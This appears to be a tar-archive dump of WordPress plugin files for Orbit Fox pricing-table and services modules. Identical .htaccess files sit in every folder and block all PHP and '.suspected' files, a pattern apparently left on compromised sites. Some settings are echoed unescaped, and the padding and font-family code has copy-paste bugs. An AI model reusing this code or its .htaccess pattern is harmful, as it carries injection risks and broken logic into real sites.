					background: ' . esc_attr( $type ) . '(' . esc_attr( $pos2 ) . ', ' . esc_attr( $gradient_color1 ) . ' 0%, ' . esc_attr( $gradient_color2 ) . ' 100%);';
			} else {
				echo 'background-color:' . esc_attr( $gradient_color1 ) . ';';
			}
		}
		break;
}
echo '}';

$title_color = ! empty( $settings->title_color ) ? $settings->title_color : '';
if ( ! empty( $title_color ) ) {
	$title_color = strpos( $title_color, 'rgba' ) !== false ? $title_color : '#' . $title_color;
}
$title_font_size = ! empty( $settings->title_font_size ) ? $settings->title_font_size : '';
$title_font_family = ! empty( $settings->title_font_family['family'] ) ? $settings->title_font_family['family'] : '';
$title_font_weight = ! empty( $settings->title_font_family['weight'] ) ? $settings->title_font_family['weight'] : '';
$title_transform = ! empty( $settings->title_transform ) ? $settings->title_transform : '';
$title_font_style = ! empty( $settings->title_font_style ) ? $settings->title_font_style : '';
$title_line_height = ! empty( $settings->title_line_height ) ? $settings->title_line_height : '';
$title_letter_spacing = ! empty( $settings->title_letter_spacing ) ? $settings->title_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-header *:first-child{';
	echo ! empty( $title_color ) ? 'color: ' . $title_color . ';' : '';
	echo ! empty( $title_font_size ) ? 'font-size: ' . $title_font_size . 'px;' : '';
	echo ! empty( $title_font_family ) ? 'font-family: ' . $title_font_family . ';' : '';
	echo ! empty( $title_font_weight ) ? 'font-weight: ' . $title_font_weight . ';' : '';
	echo ! empty( $title_transform ) ? 'text-transform: ' . $title_transform . ';' : '';
	echo ! empty( $title_font_style ) ? 'font-style: ' . $title_font_style . ';' : '';
	echo ! empty( $title_line_height ) ? 'line-height: ' . $title_line_height . 'px;' : '';
	echo ! empty( $title_letter_spacing ) ? 'letter-spacing: ' . $title_letter_spacing . 'px;' : '';
echo '}';


$subtitle_color = ! empty( $settings->subtitle_color ) ? $settings->subtitle_color : '';
if ( ! empty( $subtitle_color ) ) {
	$subtitle_color = strpos( $subtitle_color, 'rgba' ) !== false ? $subtitle_color : '#' . $subtitle_color;
}
$subtitle_font_size = ! empty( $settings->subtitle_font_size ) ? $settings->subtitle_font_size : '';
$subtitle_font_family = ! empty( $settings->subtitle_font_family['family'] ) ? $settings->subtitle_font_family : '';
$subtitle_font_weight = ! empty( $settings->subtitle_font_family['weight'] ) ? $settings->subtitle_font_family : '';
$subtitle_transform = ! empty( $settings->subtitle_transform ) ? $settings->subtitle_transform : '';
$subtitle_font_style = ! empty( $settings->subtitle_font_style ) ? $settings->subtitle_font_style : '';
$subtitle_line_height = ! empty( $settings->subtitle_line_height ) ? $settings->subtitle_line_height : '';
$subtitle_letter_spacing = ! empty( $settings->subtitle_letter_spacing ) ? $settings->subtitle_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-header *:last-child{';
	echo ! empty( $subtitle_color ) ? 'color: ' . $subtitle_color . ';' : '';
	echo ! empty( $subtitle_font_size ) ? 'font-size: ' . $subtitle_font_size . 'px;' : '';
	echo ! empty( $subtitle_font_family ) ? 'font-family: ' . $subtitle_font_family . ';' : '';
	echo ! empty( $subtitle_font_weight ) ? 'font-weight: ' . $subtitle_font_weight . ';' : '';
	echo ! empty( $subtitle_transform ) ? 'text-transform: ' . $subtitle_transform . ';' : '';
	echo ! empty( $subtitle_font_style ) ? 'font-style: ' . $subtitle_font_style . ';' : '';
	echo ! empty( $subtitle_line_height ) ? 'line-height: ' . $subtitle_line_height . 'px;' : '';
	echo ! empty( $subtitle_letter_spacing ) ? 'letter-spacing: ' . $subtitle_letter_spacing . 'px;' : '';
echo '}';

$price_top = ! empty( $settings->price_top ) ? $settings->price_top : '';
$price_bottom = ! empty( $settings->price_bottom ) ? $settings->price_bottom : '';
$price_left = ! empty( $settings->price_left ) ? $settings->price_left : '';
$price_right = ! empty( $settings->price_right ) ? $settings->price_right : '';
$price_font_size = ! empty( $settings->price_font_size ) ? $settings->price_font_size : '';
$price_font_family = ! empty( $settings->price_font_family['family'] ) ? $settings->price_font_family['family'] : '';
$price_font_weight = ! empty( $settings->price_font_family['weight'] ) ? $settings->price_font_family['weight'] : '';
$price_transform = ! empty( $settings->price_transform ) ? $settings->price_transform : '';
$price_font_style = ! empty( $settings->price_font_style ) ? $settings->price_font_style : '';
$price_line_height = ! empty( $settings->price_line_height ) ? $settings->price_line_height : '';
$price_letter_spacing = ! empty( $settings->price_letter_spacing ) ? $settings->price_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-price{';
	echo ! empty( $price_top ) ? 'padding-top: ' . $price_top . 'px;' : '';
	echo ! empty( $price_bottom ) ? 'padding-bottom: ' . $price_bottom . 'px;' : '';
	echo ! empty( $price_left ) ? 'padding-left: ' . $price_left . 'px;' : '';
	echo ! empty( $price_right ) ? 'padding-right: ' . $price_right . 'px;' : '';
	echo ! empty( $price_font_size ) ? 'font-size: ' . $price_font_size . 'px;' : '';
	echo ! empty( $price_font_family ) ? 'font-family: ' . $price_font_family . ';' : '';
	echo ! empty( $price_font_weight ) ? 'font-weight: ' . $price_font_weight . ';' : '';
	echo ! empty( $price_transform ) ? 'text-transform: ' . $price_transform . ';' : '';
	echo ! empty( $price_font_style ) ? 'font-style: ' . $price_font_style . ';' : '';
	echo ! empty( $price_line_height ) ? 'line-height: ' . $price_line_height . 'px;' : '';
	echo ! empty( $price_letter_spacing ) ? 'letter-spacing: ' . $price_letter_spacing . 'px;' : '';
echo '}';

if ( ! empty( $settings->price_color ) ) {
	$price_color = strpos( $settings->price_color, 'rgba' ) !== false ? $settings->price_color : '#' . $settings->price_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price{';
	echo 'color: ' . $price_color . ';';
	echo '}';
}

if ( ! empty( $settings->currency_color ) ) {
	$currency_color = strpos( $settings->currency_color, 'rgba' ) !== false ? $settings->currency_color : '#' . $settings->currency_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price sup{';
	echo 'color: ' . $currency_color . ';';
	echo '}';
}

if ( ! empty( $settings->period_color ) ) {
	$period_color = strpos( $settings->period_color, 'rgba' ) !== false ? $settings->period_color : '#' . $settings->period_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price .obfx-period{';
	echo 'color: ' . $period_color . ';';
	echo '}';
}
$features_top = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_bottom = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_left = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_right = ! empty( $settings->features_right ) ? $settings->features_right : '';
echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content{';
	echo ! empty( $features_top ) ? 'padding-top: ' . $features_top . 'px;' : '';
	echo ! empty( $features_bottom ) ? 'padding-bottom: ' . $features_bottom . 'px;' : '';
	echo ! empty( $features_left ) ? 'padding-left: ' . $features_left . 'px;' : '';
	echo ! empty( $features_right ) ? 'padding-right: ' . $features_right . 'px;' : '';
echo '}';

$feature_font_size  = ! empty( $settings->feature_font_size ) ? $settings->feature_font_size : '';
$feature_transform  = ! empty( $settings->feature_transform ) ? $settings->feature_transform : '';
$feature_font_style  = ! empty( $settings->feature_font_style ) ? $settings->feature_font_style : '';
$feature_line_height  = ! empty( $settings->feature_line_height ) ? $settings->feature_line_height : '';
$feature_letter_spacing  = ! empty( $settings->feature_letter_spacing ) ? $settings->feature_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content * {';
	echo ! empty( $feature_font_size ) ? 'font-size: ' . $feature_font_size . 'px;' : '';
	echo ! empty( $feature_transform ) ? 'text-transform: ' . $feature_transform . ';' : '';
	echo ! empty( $feature_font_style ) ? 'font-style: ' . $feature_font_style . ';' : '';
	echo ! empty( $feature_line_height ) ? 'line-height: ' . $feature_line_height . 'px;' : '';
	echo ! empty( $feature_letter_spacing ) ? 'letter-spacing: ' . $feature_letter_spacing . 'px;' : '';
echo '}';

if ( ! empty( $settings->feature_font_family['family'] ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content:not(i){';
	echo 'font-family: ' . $settings->feature_font_family['family'] . ';';
	echo '}';
}
if ( ! empty( $settings->feature_font_family['weight'] ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content:not(strong){';
	echo 'font-weight: ' . $settings->feature_font_family['weight'] . ';';
	echo '}';
}

if ( ! empty( $settings->icon_color ) ) {
	$icon_color = strpos( $settings->icon_color, 'rgba' ) !== false ? $settings->icon_color : '#' . $settings->icon_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content i{';
	echo 'color: ' . $icon_color . ';';
	echo '}';
}

if ( ! empty( $settings->bold_color ) ) {
	$bold_color = strpos( $settings->bold_color, 'rgba' ) !== false ? $settings->bold_color : '#' . $settings->bold_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content strong{';
	echo 'color: ' . $bold_color . ';';
	echo '}';
}

if ( ! empty( $settings->feature_color ) ) {
	$feature_color = strpos( $settings->feature_color, 'rgba' ) !== false ? $settings->feature_color : '#' . $settings->feature_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content:not(i):not(strong){';
	echo 'color: ' . $feature_color . ';';
	echo '}';
}

$button_margin_bottom = ! empty( $settings->button_margin_bottom ) ? $settings->button_margin_bottom : '';
$button_margin_left = ! empty( $settings->button_margin_left ) ? $settings->button_margin_left : '';
$button_margin_right = ! empty( $settings->button_margin_right ) ? $settings->button_margin_right : '';
$button_margin_top = ! empty( $settings->button_margin_top ) ? $settings->button_margin_top : '';
echo '.fl-node-' . $id . ' .obfx-plan-bottom{';
	echo ! empty( $button_margin_bottom ) ? 'margin-bottom: ' . $button_margin_bottom . 'px;' : '';
	echo ! empty( $button_margin_left ) ? 'margin-left: ' . $button_margin_left . 'px;' : '';
	echo ! empty( $button_margin_right ) ? 'margin-right: ' . $button_margin_right . 'px;' : '';
	echo ! empty( $button_margin_top ) ? 'margin-top: ' . $button_margin_top . 'px;' : '';
echo '}';

$button_padding_top = ! empty( $settings->button_padding_top ) ? $settings->button_padding_top : '';
$button_padding_bottom = ! empty( $settings->button_padding_bottom ) ? $settings->button_padding_bottom : '';
$button_padding_left = ! empty( $settings->button_padding_left ) ? $settings->button_padding_left : '';
$button_padding_right = ! empty( $settings->button_padding_right ) ? $settings->button_padding_right : '';
$button_font_size = ! empty( $settings->button_font_size ) ? $settings->button_font_size : '';
$button_transform = ! empty( $settings->button_transform ) ? $settings->button_transform : '';
$button_font_style = ! empty( $settings->button_font_style ) ? $settings->button_font_style : '';
$button_line_height = ! empty( $settings->button_line_height ) ? $settings->button_line_height : '';
$button_letter_spacing = ! empty( $settings->button_letter_spacing ) ? $settings->button_letter_spacing : '';
$button_font_family = ! empty( $settings->button_font_family['family'] ) ? $settings->button_font_family['family'] : '';
$button_font_weight = ! empty( $settings->button_font_family['weight'] ) ? $settings->button_font_family['weight'] : '';
$button_text_color = ! empty( $settings->button_text_color ) ? ( strpos( $settings->button_text_color, 'rgba' ) !== false ? $settings->button_text_color : '#' . $settings->button_text_color ) : '';
$button_bg_color = ! empty( $settings->button_bg_color ) ? ( strpos( $settings->button_bg_color, 'rgba' ) !== false ? $settings->button_bg_color : '#' . $settings->button_bg_color ) : '';
echo '.fl-node-' . $id . ' .obfx-plan-button{';
	echo ! empty( $button_padding_top ) ? 'padding-top: ' . $button_padding_top . 'px;' : '';
	echo ! empty( $button_padding_bottom ) ? 'padding-bottom: ' . $button_padding_bottom . 'px;' : '';
	echo ! empty( $button_padding_left ) ? 'padding-left: ' . $button_padding_left . 'px;' : '';
	echo ! empty( $button_padding_right ) ? 'padding-right: ' . $button_padding_right . 'px;' : '';
	echo ! empty( $button_text_color ) ? 'color: ' . $button_text_color . ';' : '';
	echo ! empty( $button_bg_color ) ? 'background-color: ' . $button_bg_color . ';' : '';
	echo ! empty( $button_font_size ) ? 'font-size: ' . $button_font_size . 'px;' : '';
	echo ! empty( $button_transform ) ? 'text-transform: ' . $button_transform . ';' : '';
	echo ! empty( $button_font_style ) ? 'font-style: ' . $button_font_style . ';' : '';
	echo ! empty( $button_line_height ) ? 'line-height: ' . $button_line_height . 'px;' : '';
	echo ! empty( $button_letter_spacing ) ? 'letter-spacing: ' . $button_letter_spacing . 'px;' : '';
	echo ! empty( $button_font_family ) ? 'font-family: ' . $button_font_family . ';' : '';
	echo ! empty( $button_font_weight ) ? 'font-weight: ' . $button_font_weight . ';' : '';
echo '}';

$button_text_color_hover = ! empty( $settings->button_text_color_hover ) ? ( strpos( $settings->button_text_color_hover, 'rgba' ) !== false ? $settings->button_text_color_hover : '#' . $settings->button_text_color_hover ) : '';
$button_bg_color_hover = ! empty( $settings->button_bg_color_hover ) ? ( strpos( $settings->button_bg_color_hover, 'rgba' ) !== false ? $settings->button_bg_color_hover : '#' . $settings->button_bg_color_hover ) : '';
echo '.fl-node-' . $id . ' .obfx-plan-button:hover{';
	echo ! empty( $button_text_color_hover ) ? 'color: ' . $button_text_color_hover . ';' : '';
	echo ! empty( $button_bg_color_hover ) ? 'background-color: ' . $button_bg_color_hover . ';' : '';
echo '}';
modules/pricing-table/includes/frontend.php000066600000005021151143413260015074 0ustar00<?php
/**
 * This file is used to render each pricing module instance.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */

$class_to_add = $settings->card_layout === 'yes' ? 'obfx-card' : '';

echo '<div class="obfx-pricing-plan ' . esc_attr( $class_to_add ) . '">';
	echo '<div class="obfx-pricing-header">';
		echo '<' . $settings->plan_title_tag . ' class="obfx-plan-title text-center">' . wp_kses_post( $settings->plan_title ) . '</' . $settings->plan_title_tag . '>';
		echo '<' . $settings->plan_subtitle_tag . ' class="obfx-plan-subtitle text-center">' . wp_kses_post( $settings->plan_subtitle ) . '</' . $settings->plan_subtitle_tag . '>';
	echo '</div>';
	echo '<div class="obfx-pricing-price text-center">';
switch ( $settings->currency_position ) {
	case 'after':
		echo '<span class="obfx-price">' . wp_kses_post( $settings->price ) . '</span><sup class="obfx-currency">' . wp_kses_post( $settings->currency ) . '</sup><span class="obfx-period">' . wp_kses_post( $settings->period ) . '</span>';
		break;
	case 'before':
		echo '<sup>' . wp_kses_post( $settings->currency ) . '</sup><span class="obfx-price">' . wp_kses_post( $settings->price ) . '</span><span class="obfx-period">' . wp_kses_post( $settings->period ) . '</span>';
		break;
}
	echo '</div>';

	$features = $settings->features;
if ( ! empty( $features ) ) {
	echo '<ul class="obfx-pricing-features text-center">';
	foreach ( $features as $feature ) {
		$icon = ! empty( $feature->icon ) ? $feature->icon : '';
		$bold_text = ! empty( $feature->bold_text ) ? $feature->bold_text : '';
		$text = ! empty( $feature->text ) ? $feature->text : '';
		$section_is_empty = empty( $icon ) && empty( $bold_text ) && empty( $text );
		if ( ! $section_is_empty ) {
			echo '<li><span class="obfx-pricing-feature-content">';
			if ( ! empty( $icon ) ) {
				echo '<i class="fa ' . esc_attr( $icon ) . '"></i>';
			}
			if ( ! empty( $bold_text ) ) {
				echo '<strong>' . wp_kses_post( $bold_text ) . ' </strong> ';
			}
			if ( ! empty( $text ) ) {
				echo wp_kses_post( $text );
			}
			echo '</span><hr>';
			echo '</li>';
		}
	}
	echo '</ul>';
}

	$button_text = ! empty( $settings->text ) ? $settings->text : '';
	$button_link = ! empty( $settings->link ) ? $settings->link : '';
if ( ! empty( $button_text ) ) {
	echo '<div class="obfx-plan-bottom text-center">';
	echo '<a class="btn obfx-plan-button" href="' . esc_url( $button_link ) . '">' . wp_kses_post( $button_text ) . '</a>';
	echo '</div>';
}
echo '</div>';
modules/pricing-table/css/.htaccess000066600000000424151143413260013326 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/pricing-table/css/frontend.css000066600000001763151143413260014070 0ustar00/**
 * This file should contain frontend styles that
 * will be applied to all module instances.
 */

.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-pricing-header {
	background-position: center;
	background-size: cover;
}

.obfx-pricing-header * {
	margin: 0;
	padding: 0;
}

.blog-post .section-text .obfx-pricing-header p {
	margin: 0;
}

.obfx-pricing-features {
	margin: 0;
	padding: 0;
	list-style-type: none;
}

.obfx-pricing-features li {
	margin: 0;
	padding: 0;
}

.obfx-pricing-feature-content {
	float: left;
	width: 100%;
}

.obfx-pricing-features hr {
	float: left;
	width: 100%;
	margin: 0;
}

.obfx-pricing-features li i {
	margin-right: 10px;
}

.obfx-plan-bottom {
	float: left;
	width: 100%;
}

a.obfx-plan-button {
	margin: 0;
	text-transform: none;
}
modules/services/services.php000066600000016317151143413260012407 0ustar00<?php
/**
 * Services module.
 *
 * @package themeisle-companion
 */

// Get the module directory.
$module_directory = $this->get_dir();

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

/**
 * Class PricingTableModule
 */
class ServicesModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Services', 'themeisle-companion' ),
				'description'   => esc_html__( 'An overview of the products or services.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/services/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/services/',
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
FLBuilder::register_module(
	'ServicesModule',
	array(
		'content' => array(
			'title' => esc_html__( 'Content', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'content' => array(
					'title' => '',
					'fields' => array(
						'services' => array(
							'multiple' => true,
							'type'          => 'form',
							'label'         => esc_html__( 'Service', 'themeisle-companion' ),
							'form'          => 'service_content', // ID of a registered form.
							'preview_text'  => 'title', // ID of a field to use for the preview text.
						),
						'column_number' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Number of columns', 'themeisle-companion' ),
							'default' => '3',
							'options' => array(
								'1' => esc_html__( '1', 'themeisle-companion' ),
								'2' => esc_html__( '2', 'themeisle-companion' ),
								'3' => esc_html__( '3', 'themeisle-companion' ),
								'4' => esc_html__( '4', 'themeisle-companion' ),
								'5' => esc_html__( '5', 'themeisle-companion' ),
							),
						),
						'card_layout' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
							'default'       => 'yes',
						),
						'background_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Background color', 'themeisle-companion' ),
							'default' => 'ffffff',
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service',
										'property'     => 'background',
									),
								),
							),
						),

					),
				),
			),
		),
		'icon_style' => array(
			'title' => esc_html__( 'Icon style', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'font' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'icon_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Position', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
						'icon_size' => array(
							'type'        => 'text',
							'label' => esc_html__( 'Size', 'themeisle-companion' ),
							'description' => esc_html__( 'px', 'themeisle-companion' ),
							'default' => '45',
							'maxlength'     => '3',
							'size'          => '4',
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-icon',
										'property'     => 'font-size',
										'unit' => 'px',
									),
								),
							),
						),
					),
				),
				'icon_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 30,
							'bottom' => 15,
							'left' => 25,
							'right' => 25,
						),
						'selector' => '.obfx-service-icon',
						'field_name_prefix' => 'icon_',
					)
				),
			),
		),
		'title_style' => array(
			'title' => esc_html__( 'Title style', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'title_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-title',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'typography' => themeisle_typography_settings(
					array(
						'prefix' => 'title_',
						'selector' => '.obfx-service-title',
					)
				),
			),
		),
		'content_style' => array(
			'title' => esc_html__( 'Content style', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'content_alignment' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
						'content_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-content',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'typography' => themeisle_typography_settings(
					array(
						'prefix' => 'content_',
						'selector' => '.obfx-service-content',
					)
				),
			),
		),
	)
);

FLBuilder::register_settings_form(
	'service_content',
	array(
		'title' => __( 'Service', 'themeisle-companion' ),
		'tabs'  => array(
			'general'      => array(
				'title'         => esc_html__( 'General', 'themeisle-companion' ),
				'sections'      => array(
					'general'       => array(
						'title'         => '',
						'fields'        => array(
							'title' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Title', 'themeisle-companion' ),
							),
							'text' => array(
								'type'          => 'textarea',
								'label'         => esc_html__( 'Text', 'themeisle-companion' ),
								'rows'          => '6',
							),
							'icon' => array(
								'type'          => 'icon',
								'label'         => esc_html__( 'Icon', 'themeisle-companion' ),
								'show_remove'   => true,
							),
							'icon_color' => array(
								'type'          => 'color',
								'label'         => esc_html__( 'Icon color', 'themeisle-companion' ),
								'default' => 'd6d6d6',
							),
							'link' => array(
								'type'          => 'link',
								'label'         => esc_html__( 'Link to', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
	)
);
modules/services/css/frontend.css000066600000001410151143413260013160 0ustar00/**
 * This file should contain frontend styles that
 * will be applied to all module instances.
 */
.obfx-services-section {
	text-align: center;
}

.obfx-service-title {
	display: inline-block;
}

.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-service {
	padding: 15px;
}

.obfx-service-icon {
	vertical-align: middle;
}

.obfx-service-icon i {
	vertical-align: inherit;
}

.obfx-service-icon .dashicons,
.obfx-service-icon .dashicons-before:before {
	width: inherit;
	height: inherit;
	font-size: inherit;
	vertical-align: inherit;
}
modules/services/css/.htaccess000066600000000424151143413260012431 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/services/includes/frontend.css.php000066600000006706151143413260015001 0ustar00<?php
$columns = $settings->column_number;
$column_width = 100 / (int) $columns;

echo '.fl-node-' . $id . ' .obfx-service-wrapper{';
	echo 'display:inline-block;';
if ( ! empty( $column_width ) ) {
	echo 'width:' . $column_width . '%;';
}
	echo 'padding: 0 10px;';
echo '}';

$bg_color = $settings->background_color;
echo '.fl-node-' . $id . ' .obfx-service{';
if ( ! empty( $bg_color ) ) {
	echo 'background:#' . $bg_color . ';';
}
echo '}';


$icon_size = $settings->icon_size;
$padding_top = $settings->icon_top;
$padding_bottom = $settings->icon_bottom;
$padding_left = $settings->icon_left;
$padding_right = $settings->icon_right;
$icon_position = $settings->icon_position;

echo '.fl-node-' . $id . ' .obfx-service-icon{';
if ( ! empty( $icon_size ) ) {
	echo 'font-size:' . $icon_size . 'px;';
}
if ( ! empty( $padding_top ) ) {
	echo 'padding-top:' . $padding_top . 'px;';
}
if ( ! empty( $padding_bottom ) ) {
	echo 'padding-bottom:' . $padding_bottom . 'px;';
}
if ( ! empty( $padding_left ) ) {
	echo 'padding-left:' . $padding_left . 'px;';
}
if ( ! empty( $padding_right ) ) {
	echo 'padding-right:' . $padding_right . 'px;';
}
if ( ! empty( $icon_position ) && $icon_position !== 'center' ) {
	echo 'float:' . $icon_position . ';';
}

echo '}';


$title_color = $settings->title_color;
$title_size = $settings->title_font_size;
$font_family = $settings->title_font_family['family'];
$font_weight = $settings->title_font_family['weight'];
$font_style = $settings->title_font_style;
$transform = $settings->title_transform;
$line_height = $settings->title_line_height;
$letter_spacing = $settings->title_letter_spacing;
echo '.fl-node-' . $id . ' .obfx-service-title{';
if ( ! empty( $title_color ) ) {
	echo 'color: #' . $title_color . ';';
}
if ( ! empty( $title_size ) ) {
	echo 'font-size:' . $title_size . 'px;';
}
if ( ! empty( $font_family ) ) {
	echo 'font-family:' . $font_family . ';';
}
if ( ! empty( $font_weight ) ) {
	echo 'font-weight:' . $font_weight . ';';
}
if ( ! empty( $font_style ) ) {
	echo 'font-style:' . $font_style . ';';
}
if ( ! empty( $transform ) ) {
	echo 'text-transform:' . $transform . ';';
}
if ( ! empty( $line_height ) ) {
	echo 'line-height:' . $line_height . 'px;';
}
if ( ! empty( $letter_spacing ) ) {
	echo 'letter-spacing:' . $letter_spacing . 'px;';
}
echo '}';


$content_color = $settings->content_color;
$content_size = $settings->content_font_size;
$font_family = $settings->content_font_family['family'];
$font_weight = $settings->content_font_family['weight'];
$font_style = $settings->content_font_style;
$transform = $settings->content_transform;
$line_height = $settings->content_line_height;
$alignment = $settings->content_alignment;
$letter_spacing = $settings->content_letter_spacing;
echo '.fl-node-' . $id . ' .obfx-service-content{';
if ( ! empty( $content_color ) ) {
	echo 'color: #' . $content_color . ';';
}
if ( ! empty( $content_size ) ) {
	echo 'font-size:' . $content_size . 'px;';
}
if ( ! empty( $font_family ) ) {
	echo 'font-family:' . $font_family . ';';
}
if ( ! empty( $font_weight ) ) {
	echo 'font-weight:' . $font_weight . ';';
}
if ( ! empty( $font_style ) ) {
	echo 'font-style:' . $font_style . ';';
}
if ( ! empty( $transform ) ) {
	echo 'text-transform:' . $transform . ';';
}
if ( ! empty( $line_height ) ) {
	echo 'line-height:' . $line_height . 'px;';
}
if ( ! empty( $alignment ) ) {
	echo 'text-align:' . $alignment . ';';
}
if ( ! empty( $letter_spacing ) ) {
	echo 'letter-spacing:' . $letter_spacing . 'px;';
}
echo '}';
modules/services/includes/frontend.php000066600000002704151143413260014204 0ustar00<?php
/**
 * This file is used to render services module.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */

$columns = $settings->column_number;
$services = $settings->services;
$services_nb = sizeof( $services );
$card_layout = $settings->card_layout;
$container_class = $card_layout === 'yes' ? 'obfx-card obfx-service' : 'obfx-service';
if ( ! empty( $columns ) ) {
	echo '<div class="obfx-services-section">';
	foreach ( $services as $service ) {
		echo '<div class="obfx-service-wrapper">';
			echo '<div class="' . esc_attr( $container_class ) . '">';
				$title = $service->title;
				$text = $service->text;
				$icon = $service->icon;
				$link = $service->link;

		if ( ! empty( $icon ) ) {
			$icon_color = ! empty( $service->icon_color ) ? '#' . $service->icon_color : '#d6d6d6';
			echo '<div class="obfx-service-icon" style="color:' . esc_attr( $icon_color ) . '"><i class="' . esc_attr( $icon ) . '"></i></div>';
		}
		if ( ! empty( $title ) ) {
			if ( ! empty( $link ) ) {
				echo '<a class="obfx-service-title" href="' . esc_url( $link ) . '" target="_blank">';
			}
			echo '<h4 class="obfx-service-title">' . wp_kses_post( $title ) . '</h4>';
			if ( ! empty( $link ) ) {
				echo '</a>';
			}
		}

		if ( ! empty( $text ) ) {
			echo '<p class="obfx-service-content">' . wp_kses_post( $text ) . '</p>';
		}

			echo '</div>';
		echo '</div>';
	}
	echo '</div>';

}
modules/services/includes/.htaccess000066600000000424151143413260013447 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>modules/services/.htaccess000066600000000424151143413260011641 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
